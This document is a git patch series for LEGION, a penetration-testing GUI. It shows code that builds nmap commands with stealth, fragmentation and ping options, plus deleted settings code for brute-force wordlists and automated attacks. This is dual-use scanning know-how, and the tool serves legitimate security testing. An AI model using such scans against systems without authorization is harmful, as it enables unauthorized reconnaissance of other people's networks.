'nmap (discovery)', targetHosts, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) + else: + outputfile = self.logic.runningfolder + "/nmap/" + getTimestamp() + '-nmap-list' + command = "nmap -n -sL -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile + self.runCommand('nmap', 'nmap (list)', targetHosts, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (list)', True)) + elif scanMode == 'Hard': + outputfile = self.logic.runningfolder + "/nmap/" + getTimestamp() + '-nmap-custom' + nmapOptionsString = ' '.join(nmapOptions) + nmapOptionsString = nmapOptionsString + "-T" + str(nmapSpeed) + command = "nmap " + nmapOptionsString + " " + targetHosts + " -oA " + outputfile + self.runCommand('nmap', 'nmap (custom ' + nmapOptionsString + ')', targetHosts, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (custom ' + nmapOptionsString + ')', True)) #################### CONTEXT MENUS #################### @@ -640,10 +644,10 @@ def runPython(self): return qProcess.pid() # recursive function used to run nmap in different stages for quick results - def runStagedNmap(self, iprange, discovery = True, stage = 1, stop = False): + def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): print("runStagedNmap called for stage {0}".format(str(stage))) if not stop: - textbox = self.view.createNewTabForHost(str(iprange), 'nmap (stage '+str(stage)+')', True) + textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage '+str(stage)+')', True) outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmapstage'+str(stage) if stage == 1: # webservers/proxies @@ -668,9 +672,9 @@ def runStagedNmap(self, iprange, discovery = True, stage = 1, stop = False): command += "-O " # only check for OS once to save time and only if we are root otherwise it fails else: command += "-sT " - command += "-p "+ports+' '+iprange+" -oA "+outputfile + command += "-p "+ports+' '+targetHosts+" -oA "+outputfile - self.runCommand('nmap','nmap (stage '+str(stage)+')', str(iprange), '', '', command, getTimestamp(True), outputfile, textbox, discovery = discovery, stage = stage, stop = stop) + self.runCommand('nmap','nmap (stage '+str(stage)+')', str(targetHosts), '', '', command, getTimestamp(True), outputfile, textbox, discovery = discovery, stage = stage, stop = stop) def nmapImportFinished(self): self.updateUI2Timer.stop() diff --git a/ui/view.py b/ui/view.py index b52c897e..8d055900 100644 --- a/ui/view.py +++ b/ui/view.py @@ -396,11 +396,29 @@ def connectAddHostsDialog(self): def callAddHosts(self): hostListStr = str(self.adddialog.txtHostList.toPlainText()).replace(';',' ') + nmapOptions = [] + scanMode = 'Unset' + if validateNmapInput(hostListStr): self.adddialog.close() hostList = hostListStr.split(' ') + hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] + nmapOptions = [] + + if self.adddialog.rdoModeOptEasy.isChecked(): + scanMode = 'Easy' + else: + scanMode = 'Hard' + for hostAddOptionControl in hostAddOptionControls: + if hostAddOptionControl.isChecked(): + nmapOptionValue = str(hostAddOptionControl.toolTip()) + nmapOptionValueSplit = nmapOptionValue.split('[') + if len(nmapOptionValueSplit) > 1: + nmapOptionValue = nmapOptionValueSplit[1].replace(']','') + nmapOptions.append(nmapOptionValue) + nmapOptions.append(str(self.adddialog.txtCustomOptList.toPlainText())) for hostListEntry in hostList: - self.controller.addHosts(iprange = hostListEntry, runHostDiscovery = self.adddialog.chkDiscovery.isChecked(), runStagedNmap = self.adddialog.chkNmapStaging.isChecked(), nmapSpeed = self.adddialog.sldScanTimingSlider.value) + self.controller.addHosts(targetHosts = hostListEntry, runHostDiscovery = self.adddialog.chkDiscovery.isChecked(), runStagedNmap = self.adddialog.chkNmapStaging.isChecked(), nmapSpeed = self.adddialog.sldScanTimingSlider.value(), scanMode = scanMode, nmapOptions = nmapOptions) self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button else: self.adddialog.spacer.changeSize(0,0) From 502dce139b0e9f172e6c918f3ca60e83fe4b5b16 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 13 Feb 2019 18:19:30 -0600 Subject: [PATCH 111/450] Fix help/about dialog --- .justcloned | 0 CHANGELOG.txt | 64 +- controller/controller.py | 16 +- images/close.png | Bin 0 -> 586 bytes legion.py | 13 +- startLegion.sh | 1 + ui/addHostDialog.py | 1 + ui/helpDialog.py | 1643 +++----------------------------------- ui/view.py | 45 +- 9 files changed, 194 insertions(+), 1589 deletions(-) delete mode 100644 .justcloned create mode 100644 images/close.png diff --git a/.justcloned b/.justcloned deleted file mode 100644 index e69de29b..00000000 diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 37e185a4..e640e15a 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,25 +1,25 @@ -LEGION 0.1.1 +LEGION 0.3.0 -* Support for WSL (Windows Subsystem for Linux) -* Removed Elixir -* Converted to Python3.5+ -* Process handeling ensures dead processes are shown as crashed or finished +* UI polish everywhere (element sizing, scaling, icons, etc.) +* Code cleanup +* Highly configurable host addition dialog +* Stability improvements +* Docker image of preconfigured application published to DockerHub -LEGION 0.2.0 +LEGION 0.2.4 -* Port to PyQt5 -* Handle process output encoding issues -* Added dependancy installer +* Open SPRT and Legion files +* Resolve file open/save access issue +* Consolidate lower panel -LEGION 0.2.1 +LEGION 0.2.3 -* Fixed DB relationships -* Removed X requirement for screen captures -* Revised HTTP/HTTPS detection -* Fixed Host panel columns -* Fixed process lanuches for discovered services -* Fixed context menus so they show applicable actions for context -* Fixed note unique keys +* Bug fixes for edge cases +* Elapsed and estimated remaining time for processes +* Host 1-M CVE UI element added +* Service 1-M CVE UI element added +* CVE object model revised +* Improved UI performance LEGION 0.2.2 @@ -31,17 +31,25 @@ LEGION 0.2.2 * Dep installer fixes * Addition of .justcloned to re-initalize on cloning / pull to update -LEGION 0.2.3 +LEGION 0.2.1 -* Bug fixes for edge cases -* Elapsed and estimated remaining time for processes -* Host 1-M CVE UI element added -* Service 1-M CVE UI element added -* CVE object model revised -* Improved UI performance +* Fixed DB relationships +* Removed X requirement for screen captures +* Revised HTTP/HTTPS detection +* Fixed Host panel columns +* Fixed process lanuches for discovered services +* Fixed context menus so they show applicable actions for context +* Fixed note unique keys -LEGION 0.2.4 +LEGION 0.2.0 -* Open SPRT and Legion files -* Resolve file open/save access issue -* Consolidate lower panel +* Port to PyQt5 +* Handle process output encoding issues +* Added dependancy installer + +LEGION 0.1.1 + +* Support for WSL (Windows Subsystem for Linux) +* Removed Elixir +* Converted to Python3.5+ +* Process handeling ensures dead processes are shown as crashed or finished diff --git a/controller/controller.py b/controller/controller.py index 219d8000..7f4604c8 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -26,10 +26,22 @@ class Controller(): # initialisations that will happen once - when the program is launched @timing def __init__(self, view, logic): - self.version = 'LEGION 0.3.0' # update this everytime you commit! + self.name = "LEGION" + self.version = '0.3.0' + self.author = 'GoVanguard' + self.copyright = '2019' + self.emails = ['hello@gvit.com'] + self.update = '02/16/2019' + self.license = "GPL v3" + self.desc = "LEGION is a semi-automated intelligence gathering tool for penetration testing." + self.smallIcon = './images/icons/Legion-N_128x128.svg' + self.bigIcon = './images/icons/Legion-N_128x128.svg' + self.logic = logic self.view = view self.view.setController(self) + self.view.startOnce() + self.view.startConnections() self.loadSettings() # creation of context menu actions from settings file and set up of various settings self.initNmapImporter() @@ -209,7 +221,7 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan elif scanMode == 'Hard': outputfile = self.logic.runningfolder + "/nmap/" + getTimestamp() + '-nmap-custom' nmapOptionsString = ' '.join(nmapOptions) - nmapOptionsString = nmapOptionsString + "-T" + str(nmapSpeed) + nmapOptionsString = nmapOptionsString + " -T" + str(nmapSpeed) command = "nmap " + nmapOptionsString + " " + targetHosts + " -oA " + outputfile self.runCommand('nmap', 'nmap (custom ' + nmapOptionsString + ')', targetHosts, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (custom ' + nmapOptionsString + ')', True)) diff --git a/images/close.png b/images/close.png new file mode 100644 index 0000000000000000000000000000000000000000..bc0f5761096ef24b8b4461d9252b42dad48d0d45 GIT binary patch literal 586 zcmV-Q0=4~#P)WFU8GbZ8()Nlj2>E@cM*00FK^L_t(|+U=W3lEWYj zMI&9@_Q}(`u2cpl>3<1~)?G61A!s1*ckDcfFZ2UV}LO?5Uq!7sp&5|Lr zfTKjnjPRZkWJYjL5i&cxRf5b8ZWSRb!H-Cg)!=(2=w1ph*!w+IAXfO}IR0~7*F_Qa z`pw#RYZBDEVegGY!&^fUrH_&@lDEd7sB!Nt!IH1UVjcpe@#iI>l*c;nh*$5U8tIw$ z+l1&g2_h;1+4GS90-h2W@Lz|3$D+sDcqIJ$Fn}zDEtSCPdH7ynL;@Qgz8UI~5CQ)& z2cR}RH8?i>>pVc&4v)?WjLjA8JfIhbwX>uih_phn;OPQd;F$0s0xau*=>@dHF(qg= zc(w$MhG(27gbHYZkCXt}4UYCaV^Kue4UWP@RDxz2^AQp>6MTdOw?k3H81~KwJrqSu zV2n!8tne%eQYe>aG`#0`e*H)qaweD|UsZtR<`t^3qj^g#n!V@I`OOz3vPZ3w_Z69r zWc!xbim@+B4kW+tRoToUXqTlkN(i|wpGAW8(Zqf-18CSiA59@;O!aKeLkRQX>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. - - elif tab == 'Wordlists': - log.info('Coming back from wordlists.') - - elif tab == 'Automated Attacks': - log.info('Coming back from automated attacks.') - - else: - log.info('>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. - - log.info('DEBUG: current tab is valid: ' + str(validationPassed)) - return validationPassed - - #def generalTabValidate(self): - def validateGeneralTab(self): - validationPassed = self.validateNumeric(self.screenshotTextinput) - - self.toggleRedBorder(self.webServicesTextinput, False) - for service in str(self.webServicesTextinput.text()).split(','):# TODO: this is too strict! no spaces or comma allowed? we can clean up for the user in some simple cases. actually, i'm not sure we even need to split. - if not validateString(service): - self.toggleRedBorder(self.webServicesTextinput, True) - validationPassed = False - break - - return validationPassed - - #def bruteTabValidate(self): - def validateBruteTab(self): # LEO: do NOT change the order of the AND statements otherwise validation may not take place if first condition is False - validationPassed = self.validatePath(self.userlistPath) - validationPassed = self.validatePath(self.passwordlistPath) and validationPassed - validationPassed = self.validateString(self.defaultUserText) and validationPassed - validationPassed = self.validateString(self.defaultPassText) and validationPassed - return validationPassed - - def toolPathsValidate(self): - validationPassed = self.validateFile(self.nmapPathInput) - validationPassed = self.validateFile(self.hydraPathInput) and validationPassed - validationPassed = self.validateFile(self.cutycaptPathInput) and validationPassed - validationPassed = self.validateFile(self.textEditorPathInput) and validationPassed - return validationPassed - -# def commandTabsValidate(self): # LEO: renamed and refactored - def validateCommandTabs(self, nameInput, labelInput, commandInput): # only validates the tool name, label and command fields for host/port/terminal tabs - validationPassed = True - - if self.validationPassed == False: # the self.validationPassed comes from the focus out event - self.toggleRedBorder(nameInput, True) # TODO: this seems like a dodgy way to do it - functions should not depend on hope :) . maybe it's better to simply validate again. code will be clearer too. - validationPassed = False - else: - self.toggleRedBorder(nameInput, False) - - validationPassed = self.validateStringWithSpace(labelInput) and validationPassed - validationPassed = self.validateCommandFormat(commandInput) and validationPassed - return validationPassed - - # avoid using the same code for the selected tab. returns the fields for the current visible tab (host/ports/terminal) - # TODO: don't like this too much. seems like we could just use parameters in the validate tool name function - def selectGroup(self): - tabSelected = -1 - - if self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) == 'Host Commands': - tabSelected = 1 - elif self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) == 'Port Commands': - tabSelected = 2 - elif self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) == 'Terminal Commands': - tabSelected = 3 - - if self.previousToolTab == 'Host Commands' or tabSelected == 1: - tmpWidget = self.toolForHostsTableWidget - tmpActionLineEdit = self.hostActionNameText - tmpLabelLineEdit = self.hostLabelText - tmpCommandLineEdit = self.hostCommandText - actions = self.help.hostActions - tableRow = self.hostTableRow - if self.previousToolTab == 'Port Commands' or tabSelected == 2: - tmpWidget = self.toolForServiceTableWidget - tmpActionLineEdit = self.portActionNameText - tmpLabelLineEdit = self.portLabelText - tmpCommandLineEdit = self.portCommandText - actions = self.help.portActions - tableRow = self.portTableRow - if self.previousToolTab == 'Terminal Commands' or tabSelected == 3: - tmpWidget = self.toolForTerminalTableWidget - tmpActionLineEdit = self.terminalActionNameText - tmpLabelLineEdit = self.terminalLabelText - tmpCommandLineEdit = self.terminalCommandText - actions = self.help.portTerminalActions - tableRow = self.terminalTableRow - - return tmpWidget, tmpActionLineEdit, tmpLabelLineEdit, tmpCommandLineEdit, actions, tableRow - -# def validateInput(self): # LEO: renamed - def validateToolName(self): # called when there is a focus out event. only validates the tool name (key) for host/port/terminal tabs - selectGroup = self.selectGroup() - tmpWidget = selectGroup[0] - tmplineEdit = selectGroup[1] - actions = selectGroup[4] - row = selectGroup[5] - - if tmplineEdit: - row = tmpWidget.currentRow() - - if row != -1: # LEO: when the first condition is True the validateUniqueToolName is never called (bad if we want to show a nice error message for the unique key) - if not validateString(str(tmplineEdit.text())) or not self.validateUniqueToolName(tmpWidget, row, str(tmplineEdit.text())): - tmplineEdit.setStyleSheet("border: 1px solid red;") - tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) - self.validationPassed = False - log.info('the validation is: ' + str(self.validationPassed)) - return self.validationPassed - else: - tmplineEdit.setStyleSheet("border: 1px solid grey;") - tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) - self.validationPassed = True - log.info('the validation is: ' + str(self.validationPassed)) - if tmpWidget.item(row,0).text() != str(actions[row][1]): - log.info('difference found') - actions[row][1] = tmpWidget.item(row,0).text() - return self.validationPassed - - #def validateUniqueKey(self, widget, tablerow, text): # LEO: renamed. +the function that calls this one already knows the selectGroup stuff so no need to duplicate. - def validateUniqueToolName(self, widget, tablerow, text): # LEO: the function that calls this one already knows the selectGroup stuff so no need to duplicate. - if tablerow != -1: - for row in [i for i in range(widget.rowCount()) if i not in [tablerow]]: - if widget.item(row,0).text() == text: - return False - return True - - #def nmapValidate(self): - def validateStagedNmapTab(self): # LEO: renamed and fixed bugs. TODO: this function is being called way too often. something seems wrong in the overall logic - validationPassed = self.validateNmapPorts(self.stage1Input) - validationPassed = self.validateNmapPorts(self.stage2Input) and validationPassed - validationPassed = self.validateNmapPorts(self.stage3Input) and validationPassed - validationPassed = self.validateNmapPorts(self.stage4Input) and validationPassed - validationPassed = self.validateNmapPorts(self.stage5Input) and validationPassed - return validationPassed - - ##################### TOOLS / HOST COMMANDS FUNCTIONS ##################### - - def addToolForHost(self): - #if self.commandTabsValidate(): - if self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): - currentRows = self.toolForHostsTableWidget.rowCount() - self.toolForHostsTableWidget.setRowCount(currentRows + 1) - - self.toolForHostsTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) - self.toolForHostsTableWidget.item(self.toolForHostsTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.hostActionsNumber)) - self.toolForHostsTableWidget.selectRow(currentRows) - self.help.hostActions.append(['', 'New_Action_'+str(self.hostActionsNumber), '']) - self.hostActionsNumber +=1 - self.updateToolForHostInformation() - - def removeToolForHost(self): - row = self.toolForHostsTableWidget.currentRow() - - # set default values to avoid the error when the first action is add and remove tools - self.hostActionNameText.setText('removed') - self.hostLabelText.setText('removed') - self.hostCommandText.setText('removed') - - for tool in self.help.hostActions: - if tool[1] == str(self.hostActionNameText.text()): - self.help.hostActions.remove(tool) - break - - self.toolForHostsTableWidget.removeRow(row) - - self.toolForHostsTableWidget.selectRow(row-1) - - self.hostTableRow = self.toolForHostsTableWidget.currentRow() - - self.updateToolForHostInformation(False) - - def updateHostActions(self): - self.help.hostActions[self.hostTableRow][0] = str(self.hostLabelText.text()) - self.help.hostActions[self.hostTableRow][2] = str(self.hostCommandText.text()) - - # update variable -> do not update the values when a line is removed - def updateToolForHostInformation(self, update = True): - #if self.commandTabsValidate() == True: - if self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): - - # do not update any values the first time or when the remove button is clicked - if self.hostTableRow == -1 or update == False: - pass - else: - self.updateHostActions() - -# self.hostLabelText.setStyleSheet("border: 1px solid grey;") -# self.hostCommandText.setStyleSheet("border: 1px solid grey;") - self.hostTableRow = self.toolForHostsTableWidget.currentRow() - self.hostLabelText.setReadOnly(False) - if self.toolForHostsTableWidget.item(self.hostTableRow, 0) is not None: - key = self.toolForHostsTableWidget.item(self.hostTableRow, 0).text() - for tool in self.help.hostActions: - if tool[1] == key: - self.hostActionNameText.setText(tool[1]) - self.hostLabelText.setText(tool[0]) - self.hostCommandText.setText(tool[2]) - else: - self.toolForHostsTableWidget.selectRow(self.hostTableRow) - - # this function is used to REAL TIME update the tool table when a user enters a edit a tool name in the HOST/PORT/TERMINAL commands tabs - # LEO: this one replaces updateToolForHostTable + updateToolForServicesTable + updateToolForTerminalTable - def realTimeToolNameUpdate(self, tablewidget, text): # the name still sucks, sorry. at least it's refactored - row = tablewidget.currentRow() - if row != -1: - tablewidget.item(row, 0).setText(str(text)) - - ##################### TOOLS / PORT COMMANDS FUNCTIONS ##################### - - def addToolForService(self): - #if self.commandTabsValidate(): - if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): - currentRows = self.toolForServiceTableWidget.rowCount() - self.toolForServiceTableWidget.setRowCount(currentRows + 1) - self.toolForServiceTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) - self.toolForServiceTableWidget.item(self.toolForServiceTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.portActionsNumber)) - self.toolForServiceTableWidget.selectRow(currentRows) - self.help.portActions.append(['', 'New_Action_'+str(self.portActionsNumber), '']) - self.portActionsNumber +=1 - self.updateToolForServiceInformation() - - def removeToolForService(self): - row = self.toolForServiceTableWidget.currentRow() - self.portActionNameText.setText('removed') - self.portLabelText.setText('removed') - self.portCommandText.setText('removed') - for tool in self.help.portActions: - if tool[1] == str(self.portActionNameText.text()): - self.help.portActions.remove(tool) - break - self.toolForServiceTableWidget.removeRow(row) - self.toolForServiceTableWidget.selectRow(row-1) - self.portTableRow = self.toolForServiceTableWidget.currentRow() - self.updateToolForServiceInformation(False) - - def updatePortActions(self): - self.help.portActions[self.portTableRow][0] = str(self.portLabelText.text()) - self.help.portActions[self.portTableRow][2] = str(self.portCommandText.text()) - - def updateToolForServiceInformation(self, update = True): - #if self.commandTabsValidate() == True: - if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): - # the first time do not update anything - if self.portTableRow == -1 or update == False: - log.info('no update') - pass - else: - log.info('update done') - self.updatePortActions() -# self.portLabelText.setStyleSheet("border: 1px solid grey;") -# self.portCommandText.setStyleSheet("border: 1px solid grey;") - self.portTableRow = self.toolForServiceTableWidget.currentRow() - self.portLabelText.setReadOnly(False) - - if self.toolForServiceTableWidget.item(self.portTableRow, 0) is not None: - key = self.toolForServiceTableWidget.item(self.portTableRow, 0).text() - for tool in self.help.portActions: - if tool[1] == key: - self.portActionNameText.setText(tool[1]) - self.portLabelText.setText(tool[0]) - self.portCommandText.setText(tool[2]) - # for the case that the tool (ex. new added tool) does not have services assigned - if len(tool) == 4: - servicesList = tool[3].split(',') - self.terminalServicesActiveTable.setRowCount(len(servicesList)) - for i in range(len(servicesList)): - self.terminalServicesActiveTable.setItem(i, 0, QtWidgets.QTableWidgetItem()) - self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) - else: - self.toolForServiceTableWidget.selectRow(self.portTableRow) - - ##################### TOOLS / TERMINAL COMMANDS FUNCTIONS ##################### - - def addToolForTerminal(self): - #if self.commandTabsValidate(): - if self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): - currentRows = self.toolForTerminalTableWidget.rowCount() - self.toolForTerminalTableWidget.setRowCount(currentRows + 1) - self.toolForTerminalTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) - self.toolForTerminalTableWidget.item(self.toolForTerminalTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.terminalActionsNumber)) - self.toolForTerminalTableWidget.selectRow(currentRows) - self.help.portTerminalActions.append(['', 'New_Action_'+str(self.terminalActionsNumber), '']) - self.terminalActionsNumber +=1 - self.updateToolForTerminalInformation() - - def removeToolForTerminal(self): - row = self.toolForTerminalTableWidget.currentRow() - self.terminalActionNameText.setText('removed') - self.terminalLabelText.setText('removed') - self.terminalCommandText.setText('removed') - for tool in self.help.portTerminalActions: - if tool[1] == str(self.terminalActionNameText.text()): - self.help.portTerminalActions.remove(tool) - break - self.toolForTerminalTableWidget.removeRow(row) - self.toolForTerminalTableWidget.selectRow(row-1) - self.portTableRow = self.toolForTerminalTableWidget.currentRow() - self.updateToolForTerminalInformation(False) - - def updateTerminalActions(self): - self.help.portTerminalActions[self.terminalTableRow][0] = str(self.terminalLabelText.text()) - self.help.portTerminalActions[self.terminalTableRow][2] = str(self.terminalCommandText.text()) - - def updateToolForTerminalInformation(self, update = True): - #if self.commandTabsValidate() == True: - if self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): - # do not update anything the first time or when you remove a line - if self.terminalTableRow == -1 or update == False: - pass - else: - self.updateTerminalActions() - -# self.terminalLabelText.setStyleSheet("border: 1px solid grey;") -# self.terminalCommandText.setStyleSheet("border: 1px solid grey;") - self.terminalTableRow = self.toolForTerminalTableWidget.currentRow() - self.terminalLabelText.setReadOnly(False) - - if self.toolForTerminalTableWidget.item(self.terminalTableRow, 0) is not None: - key = self.toolForTerminalTableWidget.item(self.terminalTableRow, 0).text() - for tool in self.help.portTerminalActions: - if tool[1] == key: - self.terminalActionNameText.setText(tool[1]) - self.terminalLabelText.setText(tool[0]) - self.terminalCommandText.setText(tool[2]) - # for the case that the tool (ex. new added tool) does not have any service assigned - if len(tool) == 4: - servicesList = tool[3].split(',') - self.terminalServicesActiveTable.setRowCount(len(servicesList)) - for i in range(len(servicesList)): - self.terminalServicesActiveTable.setItem(i, 0, QtWidgets.QTableWidgetItem()) - self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) - else: - self.toolForTerminalTableWidget.selectRow(self.terminalTableRow) - - ##################### TOOLS / AUTOMATED ATTACKS FUNCTIONS ##################### - - def enableAutoToolsTab(self): # when 'Run automated attacks' is checked this function is called - if self.enableAutoAttacks.isChecked(): - self.AutoAttacksHelpTab.setTabEnabled(1,True) - else: - self.AutoAttacksHelpTab.setTabEnabled(1,False) - - #def selectDefaultServices(self): # toggles select/deselect all default creds checkboxes - def toggleDefaultServices(self): # toggles select/deselect all default creds checkboxes - for service in self.defaultServicesList: - if not self.typeDic[service][2].isChecked() == self.checkDefaultCred.isChecked(): - self.typeDic[service][2].toggle() - - #def addRemoveServices(self, add=True): - def moveService(self, src, dst): # in the multiple choice widget (port/terminal commands tabs) it transfers services bidirectionally - if src.selectionModel().selectedRows(): - row = src.currentRow() - dst.setRowCount(dst.rowCount() + 1) - dst.setItem(dst.rowCount() - 1, 0, QtWidgets.QTableWidgetItem()) - dst.item(dst.rowCount() - 1, 0).setText(str(src.item(row, 0).text())) - src.removeRow(row) - - ##################### SETUP FUNCTIONS ##################### - def setupLayout(self): - self.setModal(True) - self.setWindowTitle('Help') - self.setFixedSize(900, 500) - - self.flayout = QtWidgets.QVBoxLayout() - self.helpTabWidget = QtWidgets.QTabWidget() - self.helpTabWidget.setTabBar(HelpTabBarWidget(width=200,height=25)) - self.helpTabWidget.setTabPosition(QtWidgets.QTabWidget.West) # put the tab titles on the left - - # left tab menu items - self.GeneralHelpTab = QtWidgets.QWidget() - self.BruteHelpTab = QtWidgets.QWidget() - self.ToolHelpTab = QtWidgets.QTabWidget() - self.WordlistsHelpTab = QtWidgets.QTabWidget() - self.AutoAttacksHelpTab = QtWidgets.QTabWidget() - - self.setupGeneralTab() - self.setupBruteTab() - self.setupToolsTab() - self.setupAutomatedAttacksTab() - - self.helpTabWidget.addTab(self.GeneralHelpTab,"General") - self.helpTabWidget.addTab(self.BruteHelpTab,"Brute") - self.helpTabWidget.addTab(self.ToolHelpTab,"Tools") - self.helpTabWidget.addTab(self.WordlistsHelpTab,"Wordlists") - self.helpTabWidget.addTab(self.AutoAttacksHelpTab,"Automated Attacks") - - self.helpTabWidget.setCurrentIndex(0) - - self.flayout.addWidget(self.helpTabWidget) - - self.horLayout1 = QtWidgets.QHBoxLayout() - self.cancelButton = QPushButton('Cancel') - self.cancelButton.setMaximumSize(60, 30) - self.applyButton = QPushButton('Apply') - self.applyButton.setMaximumSize(60, 30) - self.spacer2 = QSpacerItem(750,0) - self.horLayout1.addItem(self.spacer2) - self.horLayout1.addWidget(self.applyButton) - self.horLayout1.addWidget(self.cancelButton) - - self.flayout.addLayout(self.horLayout1) - self.setLayout(self.flayout) - - def setupGeneralTab(self): - self.terminalLabel = QtWidgets.QLabel() - self.terminalLabel.setText('Terminal') - self.terminalLabel.setFixedWidth(150) - self.terminalComboBox = QtWidgets.QComboBox() - self.terminalComboBox.setFixedWidth(150) - self.terminalComboBox.setMinimumContentsLength(3) - self.terminalComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); - self.terminalComboBox.setCurrentIndex(0) - self.hlayout1 = QtWidgets.QHBoxLayout() - self.hlayout1.addWidget(self.terminalLabel) - self.hlayout1.addWidget(self.terminalComboBox) - self.hlayout1.addStretch() - - self.label3 = QtWidgets.QLabel() - self.label3.setText('Maximum processes') - self.label3.setFixedWidth(150) - self.fastProcessesNumber = [] - for i in range(1, 50): - self.fastProcessesNumber.append(str(i)) - self.fastProcessesComboBox = QtWidgets.QComboBox() - self.fastProcessesComboBox.insertItems(0, self.fastProcessesNumber) - self.fastProcessesComboBox.setMinimumContentsLength(3) - self.fastProcessesComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); - self.fastProcessesComboBox.setCurrentIndex(19) - self.fastProcessesComboBox.setFixedWidth(150) - self.fastProcessesComboBox.setMaxVisibleItems(3) - self.hlayoutGeneral_4 = QtWidgets.QHBoxLayout() - self.hlayoutGeneral_4.addWidget(self.label3) - self.hlayoutGeneral_4.addWidget(self.fastProcessesComboBox) - self.hlayoutGeneral_4.addStretch() - - self.label1 = QtWidgets.QLabel() - self.label1.setText('Screenshot timeout') - self.label1.setFixedWidth(150) - self.screenshotTextinput = QtWidgets.QLineEdit() - self.screenshotTextinput.setFixedWidth(150) - self.hlayoutGeneral_2 = QtWidgets.QHBoxLayout() - self.hlayoutGeneral_2.addWidget(self.label1) - self.hlayoutGeneral_2.addWidget(self.screenshotTextinput) - self.hlayoutGeneral_2.addStretch() - - self.label2 = QtWidgets.QLabel() - self.label2.setText('Web services') - self.label2.setFixedWidth(150) - self.webServicesTextinput = QtWidgets.QLineEdit() - self.webServicesTextinput.setFixedWidth(350) - self.hlayoutGeneral_3 = QtWidgets.QHBoxLayout() - self.hlayoutGeneral_3.addWidget(self.label2) - self.hlayoutGeneral_3.addWidget(self.webServicesTextinput) - self.hlayoutGeneral_3.addStretch() - - self.checkStoreClearPW = QtWidgets.QCheckBox() - self.checkStoreClearPW.setText('Store cleartext passwords on exit') - self.hlayoutGeneral_6 = QtWidgets.QHBoxLayout() - self.hlayoutGeneral_6.addWidget(self.checkStoreClearPW) - - self.checkBlackBG = QtWidgets.QCheckBox() - self.checkBlackBG.setText('Use black backgrounds for tool output') - self.hlayout2 = QtWidgets.QHBoxLayout() - self.hlayout2.addWidget(self.checkBlackBG) - - self.vlayoutGeneral = QtWidgets.QVBoxLayout(self.GeneralHelpTab) - self.vlayoutGeneral.addLayout(self.hlayout1) - self.vlayoutGeneral.addLayout(self.hlayoutGeneral_4) - self.vlayoutGeneral.addLayout(self.hlayoutGeneral_2) - self.vlayoutGeneral.addLayout(self.hlayoutGeneral_3) - self.vlayoutGeneral.addLayout(self.hlayoutGeneral_6) - self.vlayoutGeneral.addLayout(self.hlayout2) - - self.generalSpacer = QSpacerItem(10,350) - self.vlayoutGeneral.addItem(self.generalSpacer) - - def setupBruteTab(self): - self.vlayoutBrute = QtWidgets.QVBoxLayout(self.BruteHelpTab) - - self.label5 = QtWidgets.QLabel() - self.label5.setText('Username lists path') - self.label5.setFixedWidth(150) - self.userlistPath = QtWidgets.QLineEdit() - self.userlistPath.setFixedWidth(350) - self.browseUsersListButton = QPushButton('Browse') - self.browseUsersListButton.setMaximumSize(80, 30) - self.hlayoutGeneral_7 = QtWidgets.QHBoxLayout() - self.hlayoutGeneral_7.addWidget(self.label5) - self.hlayoutGeneral_7.addWidget(self.userlistPath) - self.hlayoutGeneral_7.addWidget(self.browseUsersListButton) - self.hlayoutGeneral_7.addStretch() - - self.label6 = QtWidgets.QLabel() - self.label6.setText('Password lists path') - self.label6.setFixedWidth(150) - self.passwordlistPath = QtWidgets.QLineEdit() - self.passwordlistPath.setFixedWidth(350) - self.browsePasswordsListButton = QPushButton('Browse') - self.browsePasswordsListButton.setMaximumSize(80, 30) - self.hlayoutGeneral_8 = QtWidgets.QHBoxLayout() - 